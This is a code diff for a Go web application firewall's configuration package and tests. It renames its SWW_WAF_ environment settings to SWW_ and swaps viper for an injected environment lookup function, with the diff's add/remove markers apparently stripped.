AlertSlackWebhookURL: env.webhookURL("SWW_WAF_ALERT_SLACK_WEBHOOK_URL"),
|
||||
AlertNtfyURL: env.webhookURL("SWW_WAF_ALERT_NTFY_URL"),
|
||||
AlertNtfyToken: env.secret("SWW_WAF_ALERT_NTFY_TOKEN"),
|
||||
AlertEvents: env.alertEvents("SWW_WAF_ALERT_EVENTS",
|
||||
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
||||
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
||||
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
||||
LogRemoteTLSCAs: env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"),
|
||||
LogRemoteBuffer: env.numberNotOff("SWW_LOG_REMOTE_BUFFER", "10000"),
|
||||
LogRemoteFacility: env.facility("SWW_LOG_REMOTE_FACILITY", "local0"),
|
||||
AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"),
|
||||
AlertWebhookHeaders: env.webhookHeaders("SWW_ALERT_WEBHOOK_HEADERS"),
|
||||
AlertSlackWebhookURL: env.webhookURL("SWW_ALERT_SLACK_WEBHOOK_URL"),
|
||||
AlertNtfyURL: env.webhookURL("SWW_ALERT_NTFY_URL"),
|
||||
AlertNtfyToken: env.secret("SWW_ALERT_NTFY_TOKEN"),
|
||||
AlertEvents: env.alertEvents("SWW_ALERT_EVENTS",
|
||||
strings.Join(alerts.Events(), ",")),
|
||||
AlertCooldown: env.duration("SWW_WAF_ALERT_COOLDOWN", "15m"),
|
||||
AlertMaxPerHour: env.numberOrOff("SWW_WAF_ALERT_MAX_PER_HOUR", "60"),
|
||||
AnomalyClient: env.thresholds("SWW_WAF_ANOMALY_CLIENT_"),
|
||||
AnomalyNet: env.thresholds("SWW_WAF_ANOMALY_NET_"),
|
||||
AnomalyASN: env.thresholds("SWW_WAF_ANOMALY_ASN_"),
|
||||
AnomalyTotal: env.thresholds("SWW_WAF_ANOMALY_TOTAL_"),
|
||||
AnomalyWatch: env.thresholds("SWW_WAF_WATCH_"),
|
||||
AnomalyNetV4Prefix: env.v4Prefix("SWW_WAF_ANOMALY_NET_V4_PREFIX", "24"),
|
||||
AnomalyNetV6Prefix: env.v6Prefix("SWW_WAF_ANOMALY_NET_V6_PREFIX", "48"),
|
||||
WatchNets: env.namedNetblocks("SWW_WAF_WATCH_NETS"),
|
||||
AlertCooldown: env.duration("SWW_ALERT_COOLDOWN", "15m"),
|
||||
AlertMaxPerHour: env.numberOrOff("SWW_ALERT_MAX_PER_HOUR", "60"),
|
||||
AnomalyClient: env.thresholds("SWW_ANOMALY_CLIENT_"),
|
||||
AnomalyNet: env.thresholds("SWW_ANOMALY_NET_"),
|
||||
AnomalyASN: env.thresholds("SWW_ANOMALY_ASN_"),
|
||||
AnomalyTotal: env.thresholds("SWW_ANOMALY_TOTAL_"),
|
||||
AnomalyWatch: env.thresholds("SWW_WATCH_"),
|
||||
AnomalyNetV4Prefix: env.v4Prefix("SWW_ANOMALY_NET_V4_PREFIX", "24"),
|
||||
AnomalyNetV6Prefix: env.v6Prefix("SWW_ANOMALY_NET_V6_PREFIX", "48"),
|
||||
WatchNets: env.namedNetblocks("SWW_WATCH_NETS"),
|
||||
}
|
||||
|
||||
cfg.LogRemoteAppName = env.appName("SWW_WAF_LOG_REMOTE_APP_NAME",
|
||||
cfg.LogRemoteAppName = env.appName("SWW_LOG_REMOTE_APP_NAME",
|
||||
cfg.InstanceName, cfg.LogRemoteURL != nil)
|
||||
cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action(
|
||||
"SWW_WAF_BLOCKLIST_ACTION", "deny")
|
||||
"SWW_BLOCKLIST_ACTION", "deny")
|
||||
cfg.ReputationAction, cfg.ReputationLimitPercent = env.action(
|
||||
"SWW_WAF_REPUTATION_ACTION", "limit:25")
|
||||
"SWW_REPUTATION_ACTION", "limit:25")
|
||||
|
||||
env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil)
|
||||
env.checkLookupDBPath(cfg)
|
||||
@@ -629,8 +629,8 @@ func FromEnvironment(v *viper.Viper) (*Config, error) {
|
||||
// Command reads only SWW_COMMAND, the command the image runs and its
|
||||
// health check checks: rproxy when it is unset or empty, or discriminator. It cannot
|
||||
// be given as a file. Any other value is an error that names the setting.
|
||||
func Command(v *viper.Viper) (string, error) {
|
||||
command, _ := readSetting(v, "SWW_COMMAND")
|
||||
func Command(lookupEnv func(string) (string, bool)) (string, error) {
|
||||
command, _ := lookupEnv("SWW_COMMAND")
|
||||
|
||||
switch command {
|
||||
case "", "rproxy":
|
||||
@@ -642,22 +642,22 @@ func Command(v *viper.Viper) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
// DiscriminatorListenAddr reads only SWW_WAF_LISTEN_ADDR, which may be given as a
|
||||
// DiscriminatorListenAddr reads only SWW_LISTEN_ADDR, which may be given as a
|
||||
// file, as FromEnvironment does. The health check in discriminator's container needs
|
||||
// no other setting, so it reads no other, nor a file that another names.
|
||||
func DiscriminatorListenAddr(v *viper.Viper) (string, error) {
|
||||
env := &environment{v: v}
|
||||
listenAddr := env.address("SWW_WAF_LISTEN_ADDR")
|
||||
func DiscriminatorListenAddr(lookupEnv func(string) (string, bool)) (string, error) {
|
||||
env := &environment{lookupEnv: lookupEnv}
|
||||
listenAddr := env.address("SWW_LISTEN_ADDR")
|
||||
|
||||
return listenAddr, env.err
|
||||
}
|
||||
|
||||
// InstanceName reads only SWW_WAF_INSTANCE_NAME, which may be given as a
|
||||
// InstanceName reads only SWW_INSTANCE_NAME, which may be given as a
|
||||
// file, as FromEnvironment does, so that the line saying a setting is
|
||||
// invalid carries it too. A file that cannot be read gives the default
|
||||
// here, and FromEnvironment then stops the start over it.
|
||||
func InstanceName(v *viper.Viper) string {
|
||||
env := &environment{v: v}
|
||||
func InstanceName(lookupEnv func(string) (string, bool)) string {
|
||||
env := &environment{lookupEnv: lookupEnv}
|
||||
|
||||
return env.instanceName()
|
||||
}
|
||||
@@ -673,23 +673,11 @@ func (c *Config) LogValue() slog.Value {
|
||||
}
|
||||
|
||||
// environment is where FromEnvironment reads the settings: it notes each
|
||||
// value for the log, and keeps the first error. It reads every setting
|
||||
// through v, the viper NewViper returns, and honours each setting's _FILE
|
||||
// form too.
|
||||
// value for the log, and keeps the first error.
|
||||
type environment struct {
|
||||
v *viper.Viper
|
||||
settings []slog.Attr
|
||||
err error
|
||||
}
|
||||
|
||||
// readSetting returns a setting's value and whether it is set, reading it
|
||||
// through v.
|
||||
func readSetting(v *viper.Viper, name string) (string, bool) {
|
||||
if !v.IsSet(name) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
return v.GetString(name), true
|
||||
lookupEnv func(string) (string, bool)
|
||||
settings []slog.Attr
|
||||
err error
|
||||
}
|
||||
|
||||
// value returns a setting's value, or its default when it is not set,
|
||||
@@ -710,10 +698,10 @@ func (e *environment) value(name, defaultValue string) string {
|
||||
// names, less one newline at their end. It notes that file's path for the
|
||||
// log. Both variables set, or a file that cannot be read, is an error.
|
||||
func (e *environment) lookup(name string) (string, bool) {
|
||||
value, set := readSetting(e.v, name)
|
||||
value, set := e.lookupEnv(name)
|
||||
fileName := name + "_FILE"
|
||||
|
||||
path, inFile := readSetting(e.v, fileName)
|
||||
path, inFile := e.lookupEnv(fileName)
|
||||
if !inFile {
|
||||
return value, set
|
||||
}
|
||||
@@ -905,7 +893,7 @@ func (e *environment) percents(
|
||||
return percents
|
||||
}
|
||||
|
||||
// tagLists reads SWW_WAF_TAG_LISTS, which is empty by default.
|
||||
// tagLists reads SWW_TAG_LISTS, which is empty by default.
|
||||
func (e *environment) tagLists(name string) []TagList {
|
||||
lists, err := parseTagLists(e.value(name, ""))
|
||||
e.check(name, err)
|
||||
@@ -1069,32 +1057,32 @@ func (e *environment) lookupSource(name, defaultValue string) string {
|
||||
return source
|
||||
}
|
||||
|
||||
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
|
||||
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
|
||||
// checkLookupDBPath refuses SWW_LOOKUP_SOURCE=file without
|
||||
// SWW_LOOKUP_DB_PATH, and SWW_LOOKUP_DB_PATH with any other source:
|
||||
// one source at a time.
|
||||
func (e *environment) checkLookupDBPath(cfg *Config) {
|
||||
switch {
|
||||
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
|
||||
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
|
||||
"is file while SWW_WAF_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
|
||||
e.check("SWW_LOOKUP_SOURCE", fmt.Errorf(
|
||||
"is file while SWW_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
|
||||
case cfg.LookupSource != fileSource && cfg.LookupDBPath != "":
|
||||
e.check("SWW_WAF_LOOKUP_DB_PATH", fmt.Errorf(
|
||||
"is set while SWW_WAF_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
|
||||
e.check("SWW_LOOKUP_DB_PATH", fmt.Errorf(
|
||||
"is set while SWW_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
|
||||
}
|
||||
}
|
||||
|
||||
// checkCountriesAndLookups refuses a country in
|
||||
// SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES whose tag is in SWW_WAF_TAG_DENY, and,
|
||||
// while SWW_WAF_LOOKUP_SOURCE is off, each setting that needs clients looked
|
||||
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
|
||||
// SWW_EXCLUSIVELY_ALLOWED_COUNTRIES whose tag is in SWW_TAG_DENY, and,
|
||||
// while SWW_LOOKUP_SOURCE is off, each setting that needs clients looked
|
||||
// up: the country list, SWW_ADD_LOOKUP_HEADERS, the tag settings that name
|
||||
// an asn= or country= tag, the biased thresholds,
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
|
||||
// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
|
||||
// SWW_ASN_LIMIT_PERCENT_URL among them, of which
|
||||
// SWW_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
|
||||
// limit, and the anomaly thresholds per AS number.
|
||||
func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
||||
for _, country := range cfg.ExclusivelyAllowedCountries {
|
||||
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
|
||||
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||
e.check("SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||
fmt.Errorf("%q %w", country, errOnBothLists))
|
||||
}
|
||||
}
|
||||
@@ -1113,77 +1101,77 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
||||
name string
|
||||
set bool
|
||||
}{
|
||||
{"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0},
|
||||
{"SWW_WAF_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders},
|
||||
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
|
||||
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
|
||||
{"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0},
|
||||
{"SWW_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders},
|
||||
{"SWW_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
|
||||
{"SWW_TAG_LIMIT_PERCENT", slices.ContainsFunc(
|
||||
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
|
||||
{"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
|
||||
{"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
|
||||
{"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
|
||||
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
|
||||
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
|
||||
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
|
||||
{"SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0},
|
||||
{"SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
|
||||
{"SWW_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
|
||||
{"SWW_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
|
||||
{"SWW_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
|
||||
{"SWW_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
|
||||
{"SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
|
||||
{"SWW_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
|
||||
{"SWW_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0},
|
||||
{"SWW_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
|
||||
} {
|
||||
if setting.set {
|
||||
e.check(setting.name, fmt.Errorf("is set while SWW_WAF_LOOKUP_SOURCE is off; %w",
|
||||
e.check(setting.name, fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w",
|
||||
errNeedsLookups))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
|
||||
// checkASNLimitPercentURL refuses SWW_ASN_LIMIT_PERCENT_URL naming a
|
||||
// blocklist too: the file at a URL is fetched as one list or the other.
|
||||
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
|
||||
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
|
||||
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
|
||||
e.check("SWW_ASN_LIMIT_PERCENT_URL",
|
||||
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
|
||||
}
|
||||
}
|
||||
|
||||
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
|
||||
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
||||
// checkCrowdSec refuses SWW_CROWDSEC_LAPI_URL without
|
||||
// SWW_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
||||
// that is fetched as another list too.
|
||||
func (e *environment) checkCrowdSec(cfg *Config) {
|
||||
decisionsURL := cfg.CrowdSecDecisionsURL
|
||||
|
||||
switch {
|
||||
case decisionsURL != "" && cfg.CrowdSecKey == "":
|
||||
e.check("SWW_WAF_CROWDSEC_LAPI_URL", fmt.Errorf(
|
||||
"is set while SWW_WAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
|
||||
e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf(
|
||||
"is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
|
||||
case decisionsURL == "" && cfg.CrowdSecKey != "":
|
||||
e.check("SWW_WAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
|
||||
"is set while SWW_WAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
|
||||
e.check("SWW_CROWDSEC_LAPI_KEY", fmt.Errorf(
|
||||
"is set while SWW_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
|
||||
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
|
||||
decisionsURL == cfg.ASNLimitPercentURL):
|
||||
e.check("SWW_WAF_CROWDSEC_LAPI_URL",
|
||||
fmt.Errorf("gives the decision list %q, which %w", decisionsURL, errAnotherList))
|
||||
e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
|
||||
decisionsURL, errAnotherList))
|
||||
}
|
||||
}
|
||||
|
||||
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
|
||||
// checkTagLists refuses a list of SWW_TAG_LISTS whose URL is fetched as
|
||||
// another list too: the file at a URL is read as one kind of list.
|
||||
func (e *environment) checkTagLists(cfg *Config) {
|
||||
for _, list := range cfg.TagLists {
|
||||
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
|
||||
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
|
||||
e.check("SWW_WAF_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
|
||||
e.check("SWW_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
|
||||
// checkTags refuses a tag of SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT that would
|
||||
// never apply: crowdsec, whose request is refused before tags are acted on, and
|
||||
// any tag these settings cannot give a request.
|
||||
func (e *environment) checkTags(cfg *Config) {
|
||||
for _, tag := range cfg.TagDeny {
|
||||
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
|
||||
e.check("SWW_TAG_DENY", checkTag(cfg, tag))
|
||||
}
|
||||
|
||||
for tag := range cfg.TagLimitPercent {
|
||||
e.check("SWW_WAF_TAG_LIMIT_PERCENT", checkTag(cfg, tag))
|
||||
e.check("SWW_TAG_LIMIT_PERCENT", checkTag(cfg, tag))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1228,13 +1216,13 @@ func requestCanGetTag(cfg *Config, tag string) bool {
|
||||
})
|
||||
}
|
||||
|
||||
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
|
||||
// TagsNeedLookup reports whether SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT
|
||||
// names an asn= or country= tag.
|
||||
func (c *Config) TagsNeedLookup() bool {
|
||||
return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c)
|
||||
}
|
||||
|
||||
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
|
||||
// tagLimitNeedsLookups reports whether SWW_TAG_LIMIT_PERCENT names an asn=
|
||||
// or country= tag.
|
||||
func tagLimitNeedsLookups(cfg *Config) bool {
|
||||
for tag := range cfg.TagLimitPercent {
|
||||
@@ -1404,7 +1392,7 @@ func (e *environment) logRemoteURL(name string) *url.URL {
|
||||
// unset. Its value names a file already, so, unlike the other settings,
|
||||
// it has no _FILE form. Whoever uses the file reads it.
|
||||
func (e *environment) filePath(name string) string {
|
||||
path, _ := readSetting(e.v, name)
|
||||
path, _ := e.lookupEnv(name)
|
||||
e.settings = append(e.settings, slog.String(name, path))
|
||||
|
||||
return path
|
||||
@@ -1414,7 +1402,7 @@ func (e *environment) filePath(name string) string {
|
||||
// certificates. Unset or empty, it is nil. Its value names a file
|
||||
// already, so, unlike the other settings, it has no _FILE form.
|
||||
func (e *environment) certificates(name string) *x509.CertPool {
|
||||
path, _ := readSetting(e.v, name)
|
||||
path, _ := e.lookupEnv(name)
|
||||
e.settings = append(e.settings, slog.String(name, path))
|
||||
|
||||
if path == "" {
|
||||
@@ -1447,14 +1435,14 @@ func (e *environment) facility(name, defaultValue string) int {
|
||||
return number
|
||||
}
|
||||
|
||||
// instanceName reads SWW_WAF_INSTANCE_NAME, by default the host's name. It
|
||||
// instanceName reads SWW_INSTANCE_NAME, by default the host's name. It
|
||||
// must be valid UTF-8: the metrics library panics on a label that is not.
|
||||
func (e *environment) instanceName() string {
|
||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||
|
||||
value := e.value("SWW_WAF_INSTANCE_NAME", hostname)
|
||||
value := e.value("SWW_INSTANCE_NAME", hostname)
|
||||
if !utf8.ValidString(value) {
|
||||
e.check("SWW_WAF_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8))
|
||||
e.check("SWW_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8))
|
||||
}
|
||||
|
||||
return value
|
||||
@@ -1479,7 +1467,7 @@ func (e *environment) appName(
|
||||
case set:
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotAppName))
|
||||
case sending:
|
||||
e.check(name, fmt.Errorf("is unset, and SWW_WAF_INSTANCE_NAME %q, its default, %w",
|
||||
e.check(name, fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w",
|
||||
value, errNotAppName))
|
||||
}
|
||||
|
||||
@@ -1487,22 +1475,22 @@ func (e *environment) appName(
|
||||
}
|
||||
|
||||
// checkInstanceNameForNtfy refuses an instance name that holds a control
|
||||
// character while ntfySet, SWW_WAF_ALERT_NTFY_URL being set: ntfy is sent
|
||||
// character while ntfySet, SWW_ALERT_NTFY_URL being set: ntfy is sent
|
||||
// the instance name in a header, which cannot hold one.
|
||||
func (e *environment) checkInstanceNameForNtfy(
|
||||
instanceName string,
|
||||
ntfySet bool,
|
||||
) {
|
||||
if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) {
|
||||
e.check("SWW_WAF_INSTANCE_NAME", fmt.Errorf(
|
||||
"%q %w, and is sent to ntfy in a header while SWW_WAF_ALERT_NTFY_URL is set",
|
||||
e.check("SWW_INSTANCE_NAME", fmt.Errorf(
|
||||
"%q %w, and is sent to ntfy in a header while SWW_ALERT_NTFY_URL is set",
|
||||
instanceName, errControlCharacter))
|
||||
}
|
||||
}
|
||||
|
||||
// webhookURL reads a setting that is a URL each alert is posted to:
|
||||
// SWW_WAF_ALERT_WEBHOOK_URL, SWW_WAF_ALERT_SLACK_WEBHOOK_URL or
|
||||
// SWW_WAF_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted
|
||||
// SWW_ALERT_WEBHOOK_URL, SWW_ALERT_SLACK_WEBHOOK_URL or
|
||||
// SWW_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted
|
||||
// there. The log shows ******** in place of its path and query, and an
|
||||
// error shows none of it, since a webhook or an ntfy topic can carry its
|
||||
// secret there.
|
||||
@@ -1954,7 +1942,7 @@ func parseCountry(value string) (string, error) {
|
||||
|
||||
// ParseASN reads an AS number such as AS64496, in either case, and
|
||||
// returns it as the lookup gives it: AS and the number, in capitals and
|
||||
// without leading zeros. The file SWW_WAF_ASN_LIMIT_PERCENT_URL names is
|
||||
// without leading zeros. The file SWW_ASN_LIMIT_PERCENT_URL names is
|
||||
// read with it too.
|
||||
func ParseASN(value string) (string, error) {
|
||||
digits, hasAS := strings.CutPrefix(strings.ToUpper(value), "AS")
|
||||
@@ -1981,7 +1969,7 @@ const (
|
||||
ExploitSignatureTag = "exploitsignature"
|
||||
)
|
||||
|
||||
// TagList is an address list of SWW_WAF_TAG_LISTS: the tag it adds to the
|
||||
// TagList is an address list of SWW_TAG_LISTS: the tag it adds to the
|
||||
// requests of the clients it holds, and the URL it is fetched from.
|
||||
type TagList struct {
|
||||
Name string
|
||||
@@ -2174,7 +2162,7 @@ func parsePercents(
|
||||
}
|
||||
|
||||
// ParsePercent reads a percentage, a whole number from 0 to 100. The file
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names is read with it too.
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names is read with it too.
|
||||
func ParsePercent(value string) (int64, error) {
|
||||
percent, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || percent < 0 || percent > 100 {
|
||||
@@ -2405,7 +2393,7 @@ const (
|
||||
maxLabelLength = 63
|
||||
// labelChars are the characters a label of a DNS zone may hold.
|
||||
labelChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"
|
||||
// dnsPort is the port a resolver is asked on when SWW_WAF_DNSBL_RESOLVER
|
||||
// dnsPort is the port a resolver is asked on when SWW_DNSBL_RESOLVER
|
||||
// gives none.
|
||||
dnsPort = 53
|
||||
)
|
||||
|
||||
+148
-150
@@ -17,109 +17,106 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
)
|
||||
|
||||
// The settings, by name.
|
||||
const (
|
||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
||||
mode = "SWW_WAF_MODE"
|
||||
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_WAF_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_WAF_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerHour = "SWW_WAF_RATE_LIMIT_PER_HOUR"
|
||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_WAF_BYTES_COUNT"
|
||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
||||
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
tagLists = "SWW_WAF_TAG_LISTS"
|
||||
tagDeny = "SWW_WAF_TAG_DENY"
|
||||
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
|
||||
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
|
||||
blocklistURLs = "SWW_WAF_BLOCKLIST_URLS"
|
||||
blocklistRefresh = "SWW_WAF_BLOCKLIST_REFRESH"
|
||||
blocklistAction = "SWW_WAF_BLOCKLIST_ACTION"
|
||||
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
||||
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
||||
abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY"
|
||||
abuseIPDBMinScore = "SWW_WAF_ABUSEIPDB_MIN_SCORE"
|
||||
abuseIPDBDailyBudget = "SWW_WAF_ABUSEIPDB_DAILY_BUDGET"
|
||||
reputationAction = "SWW_WAF_REPUTATION_ACTION"
|
||||
reputationCacheTTL = "SWW_WAF_REPUTATION_CACHE_TTL"
|
||||
reputationTimeout = "SWW_WAF_REPUTATION_TIMEOUT"
|
||||
routeWatchURL = "SWW_WAF_ROUTEWATCH_URL"
|
||||
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
|
||||
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
|
||||
banResponse = "SWW_WAF_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
|
||||
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
||||
maxBans = "SWW_WAF_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||
stateDir = "SWW_WAF_STATE_DIR"
|
||||
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
|
||||
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
|
||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsTopN = "SWW_WAF_METRICS_TOP_N"
|
||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
||||
logLevel = "SWW_WAF_LOG_LEVEL"
|
||||
rulesDir = "SWW_WAF_RULES_DIR"
|
||||
rulesEnabled = "SWW_WAF_RULES_ENABLED"
|
||||
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
||||
wafParanoiaLevel = "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL"
|
||||
